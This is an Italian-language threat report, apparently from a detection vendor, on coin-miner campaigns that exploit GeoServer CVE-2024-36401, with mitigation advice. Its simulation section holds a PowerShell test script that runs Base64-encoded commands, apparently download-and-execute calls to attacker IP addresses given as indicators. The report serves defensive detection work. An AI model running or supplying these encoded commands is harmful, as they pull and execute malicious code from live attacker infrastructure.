SOC Prime Bias: Critico

23 Dec 2025 10:38 UTC

GeoServer sotto attacco: campagne malware di Coin Miner

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
GeoServer sotto attacco: campagne malware di Coin Miner
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Gli attori delle minacce stanno sfruttando la vulnerabilità di esecuzione remota del codice GeoServer CVE-2024-36401 per distribuire miner di criptovalute e NetCat su server non aggiornati. L’attività si basa su PowerShell, Bash e certutil per scaricare e lanciare XMRig da diversi domini e indirizzi IP dannosi. Vengono utilizzati diversi script downloader e droppers, solitamente confezionati in archivi ZIP e mantenuti come servizi tramite NSSM. L’obiettivo principale è sequestrare le risorse computazionali per il mining non autorizzato.

Indagine

Il rapporto delinea tre varianti (A, B, C) che utilizzano PowerShell codificato, fetcher basati su Bash e certutil per recuperare i payload dei miner da pool.supportxmr.com e molti sottodomini aaaaaaaaa.cyou. I meccanismi di consegna includono script batch, pacchetti ZIP e un downloader personalizzato chiamato systemd, insieme a credenziali di autenticazione HTTP Basic. Gli analisti hanno estratto indicatori chiave—URL, indirizzi IP e nomi di file—per supportare il rilevamento e la delimitazione.

Mitigazione

Applica patch GeoServer che affrontano CVE-2024-36401 e mantieni le distribuzioni sull’ultima versione supportata. Blocca le connessioni in uscita a pool di mining noti e infrastrutture correlate, e monitora l’esecuzione sospetta di PowerShell o Bash codificato. Limita l’uso di certutil per i contesti non amministrativi e applica l’elenco di consentiti delle applicazioni per prevenire servizi non autorizzati installati tramite NSSM.

Risposta

Implementa rilevamenti per le righe di comando osservate, hash e indicatori di rete. Metti in quarantena gli host interessati, eradica i servizi miner e gli artefatti di persistenza e esegui un controllo forense per qualsiasi payload secondario. Ruota le credenziali esposte e richiedi l’autenticazione multifattoriale per l’accesso amministrativo.

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrazione dell’Attacco & Comandi:
    Un attaccante ha ottenuto un payload malevolo in Base64 che scarica un file di configurazione GeoServer vulnerabile, lo esegue e successivamente rilascia un miner di criptovaluta. Per eludere il rilevamento semplice del blocco script, l’attaccante utilizza l’opzione -enc con una stringa pre-codificata (uno dei due IOC noti). L’attaccante esegue il payload localmente su un host Windows compromesso, causando una creazione di processo powershell.exe che include esattamente la stringa Base64 su cui la regola sta vigilando.

  • Script di Test di Regressione:

     # -------------------------------------------------
      #  Script di regressione per attivare la regola Sigma
      # -------------------------------------------------
      # Payload 1 (corrisponde al primo IOC)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # Payload 2 (corrisponde al secondo IOC)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • Comandi di Pulizia:

     # -------------------------------------------------
      #  Pulizia – termina eventuali payload PowerShell residui
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force